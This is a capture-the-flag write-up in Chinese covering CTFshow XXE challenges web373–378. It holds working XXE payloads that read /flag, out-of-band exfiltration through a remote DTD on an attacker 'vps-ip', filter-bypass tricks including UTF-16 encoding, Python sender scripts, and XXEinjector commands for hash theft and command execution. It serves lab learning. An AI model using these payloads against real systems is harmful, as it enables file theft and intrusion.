CTFshow XXE web373
学习资料: (梭哈~)
https://www.cnblogs.com/20175211lyz/p/11413335.html
https://www.cnblogs.com/zhaijiahui/p/9147595.html
https://www.cnblogs.com/r00tuser/p/7255939.html
https://security.tencent.com/index.php/blog/msg/69
https://xz.aliyun.com/t/3357#toc-8
https://www.freebuf.com/vuls/194112.html
https://www.freebuf.com/column/181064.html
https://blog.csdn.net/weixin_49656607/article/details/119921234
考点:有回显XXE,外部实体。
直接给了源码
php
<?php
error_reporting(0);
//不禁止外部实体载入
libxml_disable_entity_loader(false);
//拿POST原始数据,赋值给xmlfile
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
//生成一个Document
$dom = new DOMDocument();
// 调用loadXML方法,读取原始的XML数据($xmlfile)。加载xml实体,参数为替代实体、加载外部子集
//LIBXML_NOENT 是替代实体
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 把 DOM 对象转换为 PHP 对象。相当于从XML变成了PHP里面的对象。
$creds = simplexml_import_dom($dom);
// 通过箭头表达式引用。
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
payload:
xml
<?xml version="1.0" encoding="UTF-8"?>
<!-- 定义hacker变量 -->
<!-- 外部实体的声明使用SYSTEM关键字,并且必须指定应从中加载实体值的URL。注入实体,值为根目录下flag文件内容 -->
<!DOCTYPE hacker[
<!ENTITY hacker SYSTEM "file:///flag">
]>
<!-- -->
<root>
<!-- PHP中$ctfshow = $creds->ctfshow; -->
<ctfshow>
<!-- 读取hacker变量 -->
&hacker;
</ctfshow>
</root>
只能在bp里面发这个POST数据。hackbar发POST如果不是键值对形式,POST数据不会发送。
这个payload只限于猜文件名或者知道文件名。
XXEinjector使用教程:
https://www.freebuf.com/column/170971.html
https://www.cnblogs.com/bmjoker/p/9614990.html
安装XXEinjector方式(Kali):
Kali 安装 Ruby环境 和 XXE神器XXEinjector 教程_Jay 17的博客-CSDN博客
1、sudo su 进入root权限
2、apt install ruby 安装ruby环境
3、ruby -v 查看ruby是否安装成功以及安装版本
4、git clone https://github.com/enjoiz/XXEinjector/
从GitHub下载XXEinjector
5、XXEinjector文件夹下开终端
6、ruby XXEinjector.rb 检查是否安装成功
基本使用方式:
枚举HTTPS应用程序中的/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
使用gopher(OOB方法)枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
二次漏洞利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
使用HTTP带外方法和netdoc协议对文件进行爆破攻击:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http --netdoc
通过直接性漏洞利用方式进行资源枚举:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
枚举未过滤的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
窃取Windows哈希:
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt --hashes
使用Java jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
使用PHP expect执行系统指令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
测试XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
记录请求信息:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
CTFshow XXE web374
考点:无回显XXE,外部实体。
直接给了源码。
比上题少了几行代码,分别是
$creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ctfshow;
导致了这题可以注入实体但是没有回显,所以我们考虑数据外带。访问一个请求,把数据加到请求上。
payload:
xml
<?xml version="1.0" encoding="UTF-8"?>
<!-- 要引用(dtd里面),所以要加百分号% -->
<!-- /flag 改成 /etc/passwd 可能会失败,因为内容太多了 -->
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://vps-ip/test.dtd">
%myurl;
]>
<!-- 不能直接<!ENTITY % myurl SYSTEM "http://vps-ip:port/%file"> ,因为默认不允许把本地文件发送到远程dtd里面,需要绕一圈,绕过这个限制-->
<!-- %myurl;会读取远程dtd文件,读到了以后,因为远程dtd文件有一个实体的定义(% dtd),那么就会解析这个实体定义。(% dtd)实体的定义内容是另外一个实体定义(% vps),那就会解析(% vps),就会执行远程请求,请求地址(http://vps-ip:port/%file),会在我们的vps日志上留下痕迹。
也可以起nc监听端口,能判断是否有向我们的vps发送请求以及请求内容。起nc的话% myurl的值,不要加端口,就vps-ip够了。
总结就是,%myurl 这种引用会自动向地址发送请求。 -->
<root>
1
</root>
test.dtd(放vps上面)内容
dtd
<!ENTITY % dtd "<!ENTITY % vps SYSTEM 'http://vps-ip:port/%file;'> ">
<!-- % 就是百分号(% vps=% vps),因为是嵌套在里面的引用,不能直接写百分号 -->
<!-- 如果选择nc监听的话,端口一定要加!!! -->
<!-- 如果选择看日志的话,端口一定不能加!!! -->
<!-- 引用(执行)dtd实体,vps被注册 -->
%dtd;
<!-- 引用(执行)vps实体,接收%file变量的内容 -->
%vps;
这里Content-Type
是不是application/xml
没有关系。
自动化脚本:
python
import requests
url = ''
payload = """<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://vps-ip/text.dtd">
%aaa;
]>
<root>123</root>"""
payload = payload.encode('utf-8')
requests.post(url ,data=payload)
同时我看网上也有师傅接受请求用的是vps上文件,就是先发送到vps上的dtd
文件,dtd
文件再转发到vps上一个php
文件,php
文件接受请求后写入一个txt
文件。
想了一下,这个的原理其实和监听端口是一样的,都是XXE注入,通过请求自己vps带出数据,区别就在于带出的数据vps如何反馈给我们。
CTFshow XXE web375
考点:无回显XXE,外部实体,绕过过滤。
直接给了源码。
相较于上题,多了一个正则表达式,过滤了<?xml version="1.0"
这个字符串
绕过方法一:
web374的payload直接不写XML头(XML声明)。
xml
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://vps-ip/test.dtd">
%myurl;
]>
<root>
1
</root>
这里Content-Type
是不是application/xml
还是没有关系。
绕过方法二:
空格绕过,我多打一个空格在?xml
和version
之间就好了。题目过滤的字符串,两个之间只有一个空格,我多打一个就变成了两个,不影响功能同时也绕过了过滤。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://vps-ip/test.dtd">
%myurl;
]>
<root>
1
</root>
这里Content-Type
是不是application/xml
还是没有关系。
绕过方法三:
单引号绕过,代替双引号。过滤的是<?xml version="1.0"
,关我<?xml version='1.0'
。 [狗头]
<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://vps-ip/test.dtd">
%myurl;
]>
<root>
1
</root>
CTFshow XXE web376
考点:无回显XXE,外部实体,绕过过滤。
直接给了源码。
相较于上题,过滤了<?xml version="1.0"
这个字符串同时,/i
模式把大小写都过滤了。过滤大小写没什么用,没有啥绕过方式是大小写绕过的。
绕过方法一:
web374的payload直接不写XML头(XML声明)。
xml
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://vps-ip/test.dtd">
%myurl;
]>
<root>
1
</root>
这里Content-Type
是不是application/xml
还是没有关系。
绕过方法二:
空格绕过,我多打一个空格在?xml
和version
之间就好了。题目过滤的字符串,两个之间只有一个空格,我多打一个就变成了两个,不影响功能同时也绕过了过滤。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://vps-ip/test.dtd">
%myurl;
]>
<root>
1
</root>
这里Content-Type
是不是application/xml
还是没有关系。
绕过方法三:
单引号绕过,代替双引号。过滤的是<?xml version="1.0"
,关我<?xml version='1.0'
。 [狗头]
<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://vps-ip/test.dtd">
%myurl;
]>
<root>
1
</root>
CTFshow XXE web377
考点:无回显XXE,外部实体,绕过过滤。
直接给了源码。
比之前几题多过滤了一个http
。能绕,开绕!
绕过方法:
编码绕过,用脚本把web374的payload转为utf-16
编码。
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。
python
import requests
url = 'http://a83196d0-7399-4a44-9601-23509c34a124.challenge.ctf.show/'
#注意这里是单引号,为了绕过过滤
payload = """<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://vps-ip/test.dtd">
%myurl;
]>
<root>
1
</root>
"""
payload = payload.encode('utf-16')
print(requests.post(url ,data=payload).text)
CTFshow XXE web378
题目描述:python X
考点:无回显XXE,外部实体,绕过过滤。
开题是一个登录框
F12直接能看见源码,一眼XXE。
随便输入抓个包,一眼XXE,节点名字都告诉我们了。
payload:
xml
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>&xxe;</password></user>
在路由/doLogin
下发POST包。
burp坏了,拿python发送一个。